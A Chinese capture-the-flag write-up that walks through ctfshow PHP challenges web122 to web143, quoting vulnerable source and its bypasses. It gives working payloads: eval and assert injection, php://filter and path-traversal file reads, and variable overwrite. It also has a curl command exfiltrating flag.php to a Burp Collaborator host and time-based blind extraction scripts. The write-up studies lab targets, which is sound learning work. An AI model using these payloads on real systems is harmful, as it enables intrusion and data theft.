if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
}
通过上面源码可以看到,其将num进行了多次检查,先检查该$num
是否为一个数字,然后检查 $num
是否不等于字符串 “36”。随后通过trim函数检查去除首尾空格后的 $num
是否不等于字符串 “36”。最后调用 filter()
函数对 $num
进行一系列替换后,检查是否等于字符串 “36”。 而在filter函数中,将字符串中的 “0x” 、”0”、 “.”、”e”、”+” 替换为 “1”。
trim() 函数移除字符串两侧的空白字符或其他预定义字符。
--------------------------语法----------------------------------
trim(string,charlist)
参数 描述
string 必需。规定要检查的字符串。
charlist 可选。规定从字符串中删除哪些字符。如果省略该参数,则移除下列所有字符:
"\0" - NULL
"\t" - 制表符
"\n" - 换行
"\x0B" - 垂直制表符
"\r" - 回车
" " - 空格
网上佬的过滤脚本
<?php
for ($i = 0; $i < 129; $i++) {
$char = chr($i);
$num = $char . '36';
// Check conditions
if(trim($num) !== '36' && is_numeric($num) && $num !== '36'){
echo urlencode($char) . " ";
}
}
?>
构造GET: num=%0C36 //%0c = /f
web123
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>
看看这个过滤,也就是说如果$c含有以下字符和c<=18触发这个eval函数,
$&():<>ABCDEFGHIJKLMNOPQRSTUVWXYZ[]_abcdefghijklmnopqrstuvwxyz|
在POST传参中,如果参数名中含有空格
和点
,传入的参数名中点.
和空格
都被替换为了下划线_
,这样的参数名确实无法传参,所以我们需要利用到[
这个特性。 当PHP版本小于8
时,如果参数中出现中括号[
,中括号会被转换成下划线_
,但是会出现转换错误导致接下来如果该参数名中还有非法字符
并不会继续转换成下划线_
,也就是说如果中括号[
出现在前面,那么中括号[
还是会被转换成下划线_
,但是因为出错导致接下来的非法字符并不会被转换成下划线_
可以参考该大佬博客谈一谈PHP中关于非法参数名传参问题_arr4y非法传参-CSDN博客
PHP 超级全局变量列表:
- $GLOBALS
- $_SERVER
- $_REQUEST
- $_POST
- $_GET
- $_FILES
- $_ENV
- $_COOKIE
- $_SESSION
第一种
所以我们可以构造
POST: CTF_SHOW=1&CTF[SHOW.COM=2&fun=echo $flag
第二种
利用到argv的性质,从而我们可以构造
GET: $fl0g=flag_give_me
POST: CTF_SHOW=1&CTF[SHOW.COM=2&fun=eval($a[0])
web125
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>
与上题相似,不过其将echo等输出语句也给过滤掉了,其特殊符号也与上题大差不差
$&():<>ABCDEFGHIJKLMNOPQRSTUVWXYZ[]_abcdefghijklmnopqrstuvwxyz|
不过还有一个parse_str函数可以使用
parse_str() 函数把查询字符串解析到变量中。
注释:如果未设置 array 参数,由该函数设置的变量将覆盖已存在的同名变量。
注释:php.ini 文件中的 magic_quotes_gpc 设置影响该函数的输出。如果已启用,那么在 parse_str() 解析之前,变量会被 addslashes() 转换。
-------------------------语法---------------------------------------
parse_str(string,array)
参数 描述
string 必需。规定要解析的字符串。
array 可选。规定存储变量的数组名称。该参数指示变量存储到数组中。
再结合上题我们也是涉及到了数组,我们可以这样构造
GET: a=1+fl0g=flag_give_me
POST: CTF_SHOW=1&CTF[SHOW.COM=1&fun=parse_str($a[1])
在我看来 GET 请求的参数部分包含 1+fl0g=flag_give_me
,而这样的构造会使整个 PHP 文件无法正常解析。实际上,a=1+fl0g=flag_give_me
应该是两个独立的 GET 参数,而不是一个。所以修改 GET 请求的构造,使其变为:a=1&fl0g=flag_give_me
。这样在parse_str函数中就会使得fl0g
的值为flag_give_me
代码为
<?php
$inputString = "1&fl0g=flag_give_me";
$variables = array();
parse_str($inputString, $variables);
var_dump($variables);
?>
还有一种是看大佬wp的方式
1、cli模式(命令行)下
第一个参数$_SERVER['argv'][0]是脚本名,其余的是传递给脚本的参数
2、web网页模式下
在web页模式下必须在php.ini开启register_argc_argv配置项
设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效果
这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]
$argv,$argc在web模式下不适用
而$_SERVER[‘QUERY_STRING’]会获取查询语句即GET传参?的语句,所以
?$fl0g=flag_give_me
$a[0]=$_SERVER[‘argv’][0]=$_SERVER[‘QUERY_STRING’]=>$fl0g=flag_give_me
所以我们可以构造
GET: $fl0g=flag_give_me;
POST: CTF_SHOW=1&CTF[SHOW.COM=2&fun=eval($a[0])
官方WP
GET: 1=flag.php
POST: CTF_SHOW=1&CTF[SHOW.COM=2&fun=highlight_file($_GET[1])
highlight_file() 函数对文件进行 PHP 语法高亮显示。语法通过使用 HTML 标签进行高亮。
web126
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
此题过滤了更多东西,仅能输出以下字符
$&():<>ABEHJKLMNPQRSTUVWXYZ[]_abehjklmnpqrstuvwxyz|
上个大佬的wp在本题依然能使用,但官方wp就不行了,构造为
GET: $fl0g=flag_give_me;
POST: CTF_SHOW=1&CTF[SHOW.COM=2&fun=eval($a[0])
上个parse_str函数也仍然能够调用,可以构造
GET: 1+fl0g=flag_give_me
POST: CTF_SHOW=1&CTF[SHOW.COM=2&fun=parse_str($a[1])
不过本题实际想考查的是assert函数PHP: assert - Manual
assert(mixed $assertion, Throwable|string|null $description = null): bool
assertion
可以是任何带返回值的表达式,运行后的结果用于表示断言成功还是失败。
警告
在 PHP 8.0.0 之前,如果 assertion 是 string,将解释为 PHP 代码,并通过 eval() 执行。这个字符串将作为第三个参数传递给回调函数。这种行为在 PHP 7.2.0 中弃用,并在 PHP 8.0.0 中移除。
description
如果 description 是 Throwable 的实例,只有在 assertion 执行失败时才会抛出。
注意在 PHP 8.0.0 之前,如果 assertion 是 string,将解释为 PHP 代码
GET: $fl0g=flag_give_me
POST: CTF_SHOW=6&CTF[SHOW.COM=6&fun=assert($a[0])
web127
<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];
//特殊字符检测
function waf($url){
if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
return true;
}else{
return false;
}
}
if(waf($url)){
die("嗯哼?");
}else{
extract($_GET);
}
if($ctf_show==='ilove36d'){
echo $flag;
}
上面学的$_SERVER[‘QUERY_STRING’]会获取查询语句即GET传参?的语句
。然后在waf函数中会对$url进行过滤
如果含有% &=?ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz|
就会返回false
extract() 函数从数组中将变量导入到当前的符号表。
-----------------------------语法-----------------------------------------
extract(array,extract_rules,prefix)
参数 描述
array 必需。规定要使用的数组。
extract_rules 可选。extract() 函数将检查每个键名是否为合法的变量名,同时也检查和符号表中已存在的变量名是否冲突。对不合法和冲突的键名的处理将根据此参数决定。
可能的值:
EXTR_OVERWRITE - 默认。如果有冲突,则覆盖已有的变量。
EXTR_SKIP - 如果有冲突,不覆盖已有的变量。
EXTR_PREFIX_SAME - 如果有冲突,在变量名前加上前缀 prefix。
EXTR_PREFIX_ALL - 给所有变量名加上前缀 prefix。
EXTR_PREFIX_INVALID - 仅在不合法或数字变量名前加上前缀 prefix。
EXTR_IF_EXISTS - 仅在当前符号表中已有同名变量时,覆盖它们的值。其它的都不处理。
EXTR_PREFIX_IF_EXISTS - 仅在当前符号表中已有同名变量时,建立附加了前缀的变量名,其它的都不处理。
EXTR_REFS - 将变量作为引用提取。导入的变量仍然引用了数组参数的值。
prefix 可选。如果 extract_rules 参数的值是 EXTR_PREFIX_SAME、EXTR_PREFIX_ALL、 EXTR_PREFIX_INVALID 或 EXTR_PREFIX_IF_EXISTS,则 prefix 是必需的。
该参数规定了前缀。前缀和数组键名之间会自动加上一个下划线。
所以我们可以通过$_SERVER[‘QUERY_STRING’]
获取?后的查询语句,即可以是最后这个if判断内的语句,即?ctf_show=ilove36d。但是在preg_match这个过滤中,如果含有_
就会导致返回True
,但是返回True
就会导致触发die函数,所以我们不能有_
。这里可以用到空格绕过(即我们前面所遇到的一个php特性,当传参出现空格
或.
时会被替换为_
,在该题中.
被过滤了,但是空格
没有,所以我们可以通过空格来使其在传参中转换为ctf_show
以此达到目的)所以可以构造
GET: ctf show=ilove36d
或
GET: ctf%20show=ilove36d //%20是空格的URLENCODE,
web128
<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$f1 = $_GET['f1'];
$f2 = $_GET['f2'];
if(check($f1)){
var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
echo "嗯哼?";
}
function check($str){
return !preg_match('/[0-9]|[a-z]/i', $str);
}
call_user_func
函数在前面我们学过, 把第一个参数作为回调函数调用。
check
函数则是对str
进行一次过滤,返回没有数字和小写字母的字符
这题就是跟着佬wp复现了,首先我们要了解俩个函数gettext
和get_defined_vars
源代码中所有需要多语言支持的(需要翻译的)字符串都修改为使用gettext
函数包装起来。为了方便也可以使用下划线_
,即在php代码中,gettext("nihao")
是等同于_("nihao")
。因此虽然其过滤了小写字母,但是其没过滤_
。其次是get_defined_vars
函数,返回由所有已定义变量所组成的数组
可以构造
?f1=_&f2=get_defined_vars
其效果就等同于
var_dump(call_user_func(call_user_func(_,get_defined_vars))) //这里的 'get_defined_vars' 将被翻译成当前语言环境中的对应字符串,然后作为回调函数的名字传递给 call_user_func。
=> var_dump(call_user_func(get_defined_vars)); //回调get_defined_vars函数
=> var_dump(get_defined_vars); //执行
web129
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
$f = $_GET['f'];
if(stripos($f, 'ctfshow')>0){
echo readfile($f);
}
}
首先先来了解俩个函数
stripos — 查找字符串首次出现的位置(不区分大小写)
------------------------语法-------------------------------
stripos(string,find,start)
参数 描述
string 必需。规定被搜索的字符串。
find 必需。规定要查找的字符。
start 可选。规定开始搜索的位置。
-------------------------相关函数------------------------------------
strripos() - 查找字符串在另一字符串中最后一次出现的位置(不区分大小写)
strpos() - 查找字符串在另一字符串中第一次出现的位置(区分大小写)
strrpos() - 查找字符串在另一字符串中最后一次出现的位置(区分大小写)
readfile() 函数读取一个文件,并写入到输出缓冲。
-------------------------语法-------------------------------
readfile(filename,include_path,context)
参数 描述
filename 必需。规定要读取的文件。
include_path 可选。如果您还想在 include_path(在 php.ini 中)中搜索文件的话,请设置该参数为 '1'。
context 可选。规定文件句柄的环境。context 是一套可以修改流的行为的选项。
就是需要$f中可以查到’ctfshow’这个字符。然后再通过readfile函数读取这个文件,我们可以通过俩种方式,
第一种、伪协议读取
f=php://filter/|ctfshow/resource=flag.php
or
f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php //以base64形式读取,相对应的,方式还有很多。
打开源代码可以看到flag.php的内容
第二种、目录遍历
通过目录遍历来允许访问目标目录结构之外的文件,访问到flag.php的内容,该路径通过多次跳出目录结构最终指向了 var/www/html/flag.php
。
f=/ctfshow/../../../../../../../var/www/html/flag.php //直接读取
同上,打开源代码可以找到flag的值。
web130
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = $_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f, 'ctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}
第一种、pcre回溯
这题结合代码一边stripos函数
要让你有ctfshow,否则就会触发die函数
,但是如果你有ctfshow又会触发preg_match函数
从而引起die函数
的触发,这里就要利用到preg_match函数
的另一个绕过方式—-pcre回溯限制次数绕过
PCRE(Perl Compatible Regular Expressions)是一种正则表达式库,它使用回溯法来匹配模式。回溯法在匹配失败时会尝试不同的路径,这可能导致在某些情况下耗费大量的时间和资源。 回溯限制是为了防止正则表达式匹配时发生无限循环或导致系统资源耗尽。然而,有些情况下,攻击者可能会尝试绕过回溯限制,导致正则表达式引擎消耗大量时间而不断尝试匹配。 基本的原理通常包括利用正则表达式中的复杂结构和重复元素,使得引擎在尝试匹配时需要进行大量的回溯。攻击者可能会通过构造特定的输入,使得正则表达式引擎在回溯时达到限制次数,然后通过巧妙的修改输入,绕过这一限制,导致正则表达式引擎消耗大量的资源。
贪婪模式下,pattern部分被匹配,但是后半部分没匹配(匹配“用力过猛”,把后面的部分也匹配过了)时匹配式回退的操作,在出现、+时容易产生。
非贪婪模式下,字符串部分被匹配,但后半部分没匹配完全(匹配“用力不够”,需要通配符再匹配一定的长度),在出现?、+?时容易产生。
所以我们可以编写下面的代码(pycharm)
import requests
url = "http://c582f986-75b4-4071-b510-84deb566bb3f.challenge.ctf.show/"
data = {
'f':'abcd'*250000+'ctfshow'
}
r = requests.post(url,data=data)
print(r.text)
第二种、数组绕过
preg_match不识别数组,否则返回false,并且stripos函数
会返回null
,null!=false
,所以可以绕过stripos函数
所以我们可以构造
f[]=1
此时preg_match不识别数组,返回false,所以绕过了这个die函数,然后stripos函数也会返回NULL,同时NULL!=false,所以不触发die函数。
第三种、php特性
在正则表达式中: . 表示任意单个字符,+ 表示必须匹配1次或多次,+? 表示重复1次或更多次,并且其皆在ctfshow前面。所以在ctfshow前面必须有字符,才会导致触发die函数。
所以构造playload:
f=ctfshow
web131
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = (String)$_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f,'36Dctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}
与上一题相比,其对将从$_POST
数组中获取到的数据转换为字符串类型,再加上stripos函数
中需要查询36Dctfshow,这就导致了ctfshow前面出现了字符
,所以导致了preg_match函数
判断为真,触发了die函数。对其使用pcre回溯
import requests
url = "http://ed6dabb2-edf3-48d0-9da0-b2bc4ce1c139.challenge.ctf.show/"
data = {
'f':'abcd'*250000+'36Dctfshow'
}
r = requests.post(url,data=data)
print(r.text)
web132
打开就是一个网站
通过御剑扫出有隐藏文件(admin和index.php?.php)
分别进行访问,先去index.php?.php下进行访问查看,额发现就是回到了主页面
再去admin
下进行访问查看,发现是一段源码,对源码进行分析
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
$username = (String)$_GET['username'];
$password = (String)$_GET['password'];
$code = (String)$_GET['code'];
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
if($code == 'admin'){
echo $flag;
}
}
}
首先对传入的username
、password
、code
进行字符串型的强类型转换。
然后运用了mt_rand函数,其次是逻辑关系&&
与||
。前者需要前后的条件都为true,才会返回true;后者则是只要前后一个为true,就会返回true。(||优先级低于
&&)然后当$code
为admin
时就会得到flag
mt_rand() 函数使用 Mersenne Twister 算法生成随机整数。
-------------------语法-----------------------------------
mt_rand();
or
mt_rand(min,max);
参数 描述
min 可选。规定返回的最小数。默认是 0。
max 可选。规定返回的最大数。默认是 mt_getrandmax()。
即先进行&&
运算时,$code
与$password
都为假,那么则代表此时判断为false || $username ==="admin"
,那么进行||
运算,此时当$username==="admin"
满足时,即代表该if判断此时为if( false || true)
,即有一个true
,那么该if判断就成立,然后确保下一个if判断中$code == 'admin'
即可拿到flag 所以我们可以构造
username=admin&password=1&code=admin
web133
<?php
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
eval(substr($F,0,6));
}else{
die("6个字母都还不够呀?!");
}
}
在该代码中,首先过滤了几个日常使用的命令执行函数。并且限制了f的写入数量,因为substr
函数只截断前六个字符,并且也给出了提示,flag在flag.php中
substr() 函数返回字符串的一部分。
注释:如果 start 参数是负数且 length 小于或等于 start,则 length 为 0。
-----------------------语法---------------------------------
substr(string,start,length)
参数 描述
string 必需。规定要返回其中一部分的字符串。
start 必需。规定在字符串的何处开始。
正数 - 在字符串的指定位置开始
负数 - 在从字符串结尾的指定位置开始
0 - 在字符串中的第一个字符处开始
length 可选。规定要返回的字符串长度。默认是直到字符串的结尾。
正数 - 从 start 参数所在的位置返回
负数 - 从字符串末端返回
按官方给的WP去复现了一遍(太菜了·····)
if($F = @$_GET['F'])
不同于以往的GET传参,本题如果我们传参变量$F
本身,会发生变量覆盖,以大佬给的实验命令为例,说一下我的理解(可能不对\ /)。**?F=$F
;+sleep 3**,首先我们需要了解是shell_exec()函数的缩写,然后substr函数是提取前6位字符,将**$F
;+给提取了出去,此时eval执行的命令为$F
;而$F此时所传的参即是$F
;+sleep 3**。所以我们最后执行的代码应该是 **``$F`;+sleep 3`**。
即
当我们为F赋参 F=`$F`;+sleep(3)
substr函数截断得前六个字符`$F `;+
eval(substr($F,0,6));=>eval(`$F `;);=>eval(``$F`+;sleep 3`);
由于``是shell_exec()函数的缩写。所以执行了`$F`;+sleep 3
且本题是无回显RCE。因此,可以利用curl -F
函数将flag文件上传到Burp的 Collaborator Client
链接点击复制到剪贴板
获得
所以可以构造
?F=`$F`;+curl -X POST -F xx=@flag.php http://vyxgokflbcdeezkngy6lpopzsqyjm8.burpcollaborator.net
得到flag
web134
<?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
die(file_get_contents('flag.php'));
}
$_SERVER[‘QUERY_STRING’]
会获取查询语句即GET传参?的语句
extract() 函数从数组中将变量导入到当前的符号表。
-----------------------------语法-----------------------------------------
extract(array,extract_rules,prefix)
参数 描述
array 必需。规定要使用的数组。
extract_rules 可选。extract() 函数将检查每个键名是否为合法的变量名,同时也检查和符号表中已存在的变量名是否冲突。对不合法和冲突的键名的处理将根据此参数决定。
prefix 可选。如果 extract_rules 参数的值是 EXTR_PREFIX_SAME、EXTR_PREFIX_ALL、 EXTR_PREFIX_INVALID 或 EXTR_PREFIX_IF_EXISTS,则 prefix 是必需的。
该参数规定了前缀。前缀和数组键名之间会自动加上一个下划线。
extract函数具体展现
在该题中,如果我们get
或POST
传参就会触发die函数
,所以我们需要先通过$_SERVER[‘QUERY_STRING’]
将?
后的请求解析为变量
。然后通过extract函数特性将数组中的变量导入到当前的符号表。即可以实现key1=36d和key2=36d
。其次利用到的就是extract函数中的变量为$_POST
,利用变量覆盖,我们可以传参_POST
从而实现上面这几步,所以我们可以构造
GET: _POST[key1]=36d&_POST[key2]=36d
web135
<?php
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
eval(substr($F,0,6));
}else{
die("师傅们居然破解了前面的,那就来一个加强版吧");
}
}
相较于web133
,该题过滤掉了更多命令执行语句,在web133
中我们使用到的curl
也没法用咯,只能另想方法 可以通过cp命令将flag.php文件复制到另一个文件中,然后我们通过访问该文件拿到flag,其他的跟web133
同理,我们可以构造
F=`$F`; cp flag.php 1.txt //这样确保前六位是`$F`;
同理还有其他命令比如mv命令,当我们将flag.php移入其他文件中,如果没有该文件就会创建一个新文件,因此我们可以访问该新文件拿到flag
GET: F=`$F`; mv flag.php 111.txt
结果与上图一致
web136
<?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>
check函数
对一些特殊符号以及指令进行了过滤,如果含有就会触发die函数。而该代码的步骤就是先通过check函数对c
进行检查,然后通过exec
进行命令执行。 未被过滤的符号
"'()+,-/:;=ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]_`abcdefghijklmnopqrstuvwxyz|~
由于其将*
和?
都过滤了,导致我们就算构造cat f*
也没法用,且其结果无回显,>
被过滤导致我们无法写入其他文件,而mv
和cp
被过滤也导致了其他文件更没法写入。这里要用到Linux中的一个命令tee
Linux tee命令用于读取标准输入的数据,并将其内容输出成文件。
注意,在该题中|
,管道符是没被禁止的,所以当我们在管道符前面ls /
所扫出的信息,通过|
隔着tee 1
可以将ls /
的信息写入1
文件中。从而让我们了解到此时根目录有哪些文件。然后如果有flag文件,则通过cat
命令拿到flag。 此时根目录下文件
flag的值
即最终构造
GET: c=ls /|tee 1
GET: c=cat /f149_15_h3r3|tee 2
web137
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}
call_user_func($_POST['ctfshow']);
通过最后的POST传参,我们可以考虑到,本题是与call_user_func
该函数有关。在前面我们学到过,
call_user_func() 调用回调函数,并把一个数组参数作为回调函数的参数
但同时call_user_func还有很多用法,具体可看
https://www.php.net/manual/zh/function.call-user-func.php
至此,我们可以构造类似的参,以此获得flag.php中的内容
POST: ctfshow=ctfshow::getFlag
从而拿到flag
web138
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}
if(strripos($_POST['ctfshow'], ":")>-1){
die("private function");
}
call_user_func($_POST['ctfshow']);
相较于上题对POST传的参ctfshow
进行了一次查询,即查询在传入的参ctfshow
中,如果出现了:
就会触发die函数。
strripos() - 查找字符串在另一字符串中最后一次出现的位置(不区分大小写)
这里利用到的是call_user_func函数
里面可以传数组,当第一个元素是类名或者类的一个对象,第二个元素是类的方法名,同样可以调用该方法从而执行方法内的代码。
其内涵就像
// 用户传入的参数,类似于 $_POST['ctfshow']
$user_input = [
'ctfshow', // 类名
'getFlag' // 方法名
];
call_user_func([$user_input[0], $user_input[1]]); //就等同于如果用户传入的参数是一个字符串,直接调用该函数;而如果是一个数组,则将数组的第一个元素作为类名,第二个元素作为方法名,然后调用该方法。
可以构造下面从而拿到flag
ctfshow[0]=ctfshow&ctfshow[1]=getFlag
web139
<?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>
与web136
相比,确实看着像没什么变化,但是按照web136
的指令是没法实现的,这里按照官方WP给的脚本复现了一遍。里面涉及到了awk命令
,其是一种处理文本文件的语言,是一个强大的文本分析工具Linux awk 命令 | 菜鸟教程 (runoob.com)
第一个脚本
import requests
import time
import string
str=string.ascii_letters+string.digits #生成所有字母与数字[a-zA-Z0-9]
result=""
for i in range(1,5): // # 假设最多有5个目录
key=0
for j in range(1,15): # 假设目录名最多有15个字符
if key==1:
break
for n in str:
payload="if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i,j,n)
#print(payload)
url="http://e5404d73-a384-4498-abe4-fc589c355caf.challenge.ctf.show/?c="+payload
try:
requests.get(url,timeout=(2.5,2.5))
except:
result=result+n
print(result)
break
if n=='9':
key=1
result+=" "
该脚本通过访问根目录,然后通过awk命令
、cut命令
截取字符,再进行sleep命令
确认是否正确,从而对根目录的文件进行一个字符一个字符的爬取,例如当payload为if [ls /|awk 'NR=={0}'|cut -c {1} == {2} ];then sleep 3;fi
第二个脚本
import requests
import time
import string
str=string.digits+string.ascii_lowercase+"-"#获取小写字母与数字
result=""
key=0
for j in range(1,45):
print(j)
if key==1:
break
for n in str:
payload="if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep 3;fi".format(j,n)
#print(payload)
url="http://e5404d73-a384-4498-abe4-fc589c355caf.challenge.ctf.show/?c="+payload
try:
requests.get(url,timeout=(2.5,2.5)) #time()第一个参数是响应时间,第二个是读取时间
except:
result=result+n
print(result)
break
再进行第二个脚本可以拿到flag,记得加上{}
web140
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
$f1 = (String)$_POST['f1'];
$f2 = (String)$_POST['f2'];
if(preg_match('/^[a-z0-9]+$/', $f1)){
if(preg_match('/^[a-z0-9]+$/', $f2)){
$code = eval("return $f1($f2());");
if(intval($code) == 'ctfshow'){
echo file_get_contents("flag.php");
}
}
}
}
首先我们需要POST
传参f1
、f2
,然后对其进行字符强转换。看到$code
中的$f1($f2());
感觉有点熟悉,不过前面用的是反射类
,但是在这里对f1
、f2
进行了以此preg_match
过滤,规定其只能含有小写字母和数字
。所以我们需要另辟蹊径了。在这里面需要用到的是松散比较PHP: PHP 类型比较表 - Manual。
当0==字符串
时返回的为true,而intval($var,$base)函数
有一个特性就是成功时返回 var 的 integer 值,失败时返回 0。 空的 array 返回 0,非空的 array 返回 1。
所以当我们使其return为一个非数字字符
,其会将其转换为0,而在松散比较中0==字符串
为TRUE
,那么这个if
就可以正常执行,即我们可以使其echo
出flag.php
中的内容,从而拿到flag 所以我们可以构造
POST: f1=md5&f2=md5
POST: f1=sleep&f2=sleep
POST: f1=sha1&f2=sha1
POST: f1=eval&f2=sleep
即只要我们满足该函数仅有小写字母和数字即可(说的太满了T T)。比如俩个eval就不行了。
web141
<?php
\#error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/^\W+$/', $v3)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
在该源码中,$v1
和$v2
对其进行了is_numeric函数
判断,使其只有数字。而对$v3
的preg_match函数
过滤,/^\W+$/
作用是匹配非数字字母下划线的字符。且$v1
、$v2
、$v3
都进行了一些字符串强类型转换。
在php中,当使用return
返回值时,数字可以和命令进行一些运算,比如1-sleep();
,其是会被判定执行sleep命令的。(除了减号,还有加、乘、除号,但由于正常使用+
号会导致其被转换为空格,所以如果使用+
,需要对其进行URL编码
。)
所以我们可以构造
GET: v1=1&v2=1&v3=-(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%D5);-
这里面(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%D5);
的实际意思为system(cat f*);
system的取反echo urlencode(~’system’); 取反结果为%8C%86%8C%8B%9A%92
cat f*的取反echo urlencode(~’cat f*‘); 取反结果为%9C%9E%8B%DF%99%D5
web142
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){
$v1 = (String)$_GET['v1'];
if(is_numeric($v1)){
$d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
sleep($d);
echo file_get_contents("flag.php");
}
}
这题我的大概理解就是get
传入的v1
,然后对其进行了string
(字符)类型转换,再通过is_numeric()
对v1
进行判断其是否为数字,如果其是数字,则让其与5
个0x36d
进行相乘,即与5个877
(十进制)进行相乘,并对其进行强类型转换,所以这里我们可以用到的就是八进制
与十六进制
了,由于其下面有一个sleep函数
,如果我们为v1
哪怕赋个转换值为1,也要睡眠半天,所以我们需要给v1
传参使其八进制或十六进制
转换后为0
。
即GET: v1=0
GET: v1=0x0
打开源代码即可拿到flag
web143
<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
题目描述为web141的plus版,与141相比,本题过滤了更多,仅当v3
输出这些字母时不会触发die函数
!"#'()*,/:<=>?@[\]^`
本题没有禁^,所以我们可以通过异或的方式来绕过
可以发现其key为80
